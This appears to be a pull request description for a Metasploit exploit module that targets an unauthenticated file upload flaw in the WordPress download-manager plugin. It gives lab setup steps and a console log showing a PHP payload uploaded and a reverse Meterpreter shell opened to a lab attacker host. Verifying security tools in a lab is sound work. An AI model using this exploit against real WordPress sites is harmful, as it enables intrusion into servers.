add wordpress download-manager exploit

This module exploits the current file upload in the WordPress download-manager plugin.

Steps to verify:
- [x] Install Wordpress https://www.firefart.at/how-to-install-wordpress/
- [x] Get the vulnerable plugin:
```
git clone https://github.com/wp-plugins/download-manager.git /var/www/wordpress/wp-content/plugins/download-manager
cd /var/www/wordpress/wp-content/plugins/download-manager
git checkout d775be087d955ebc4427b3e504f58c6355b6067e
```
or download my packaged version here
https://mega.co.nz/#!L9oRFBaY!w3n4NG92e9oo99bQcDVYoDrAWNhC1h0Fvjq__iZxqpg

(the developer did not tag his versions so there is no official download link)
Code changes to fix this bug to verify the commit hash:
https://github.com/wp-plugins/download-manager/commit/4d1f2a7a5cd944c9f43a6ccd231c2285f74f951e
- [ ] Activate the plugin and run the exploit

Output:
```
msf exploit(wp_downloadmanager_upload) > info

       Name: Wordpress Download Manager (download-manager) Unauthenticated File Upload
     Module: exploit/unix/webapp/wp_downloadmanager_upload
   Platform: PHP
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-03

Provided by:
  Mickael Nadeau
  Christian Mehlmauer <FireFart@gmail.com>

Available targets:
  Id  Name
  --  ----
  0   download-manager < 2.7.5

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        Use a proxy chain
  RHOST      10.211.55.39     yes       The target address
  RPORT      80               yes       The target port
  TARGETURI  /                yes       The base path to the wordpress application
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  The WordPress download-manager plugin contains multiple 
  unauthenticated file upload vulnerabilities which were fixed in 
  version 2.7.5.

References:
  http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html
  https://wpvulndb.com/vulnerabilities/7706

msf exploit(wp_downloadmanager_upload) > check
[*] 10.211.55.39:80 - The target service is running, but could not be validated.
msf exploit(wp_downloadmanager_upload) > run

[*] Started reverse handler on 10.211.55.2:4444 
[*] 10.211.55.39:80 - Uploading payload
[*] 10.211.55.39:80 - File 1417739892wpdm_FtWAbEhxPR.php successfully uploaded
[*] 10.211.55.39:80 - Calling uploaded file /wp-content/uploads/download-manager-files/1417739892wpdm_FtWAbEhxPR.php
[*] Sending stage (40551 bytes) to 10.211.55.39
[*] Meterpreter session 3 opened (10.211.55.2:4444 -> 10.211.55.39:45245) at 2014-12-05 11:15:46 +0100
[+] Deleted 1417739892wpdm_FtWAbEhxPR.php

meterpreter > sysinfo
Computer    : wordpress
OS          : Linux wordpress 3.13.0-37-generic #64-Ubuntu SMP Mon Sep 22 21:28:38 UTC 2014 x86_64
Meterpreter : php/php
meterpreter > 
```